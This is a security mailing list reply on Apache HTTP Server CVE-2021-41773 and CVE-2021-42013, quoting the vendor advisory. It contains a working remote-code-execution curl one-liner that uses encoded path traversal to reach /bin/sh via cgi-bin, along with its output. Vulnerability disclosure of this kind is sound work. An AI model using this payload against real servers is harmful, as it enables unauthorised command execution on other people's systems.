Date: Fri, 8 Oct 2021 03:18:14 +0200 From: Roman Medina-Heigl Hernandez <roman@...labs.com> To: oss-security@...ts.openwall.com Subject: Re: CVE-2021-42013: Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773) Hi, I posted RCE exploit for this (it works for both CVEs: 41773 & 42013) and some other details regarding requirements / exploitability, which you may find useful at: https://twitter.com/roman_soft/status/1446252280597078024 Excerpt (for the sake of ml-archive): RCE exploit both for Apache 2.4.49 (CVE-2021-41773) and 2.4.50 (CVE-2021-42013): root@...06:~# curl 'http://192.168.0.191/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type: text/plain; echo; id' uid=1(daemon) gid=1(daemon) groups=1(daemon) Cheers. -r El 07/10/2021 a las 17:24, Stefan Eissing escribió: > Severity: critical > > Description: > > It was found that the fix for CVE-2021-41773 in Apache HTTP Server 2.4.50 was insufficient. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. > > If files outside of these directories are not protected by the usual default configuration "require all denied", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. > > This issue only affects Apache 2.4.49 and Apache 2.4.50 and not earlier versions. > > Credit: > > Reported by Juan Escobar from Dreamlab Technologies, Fernando Muñoz from NULL Life CTF Team, and Shungo Kumasaka > -- Saludos, -Román
Powered by blists - more mailing lists
Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.
Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.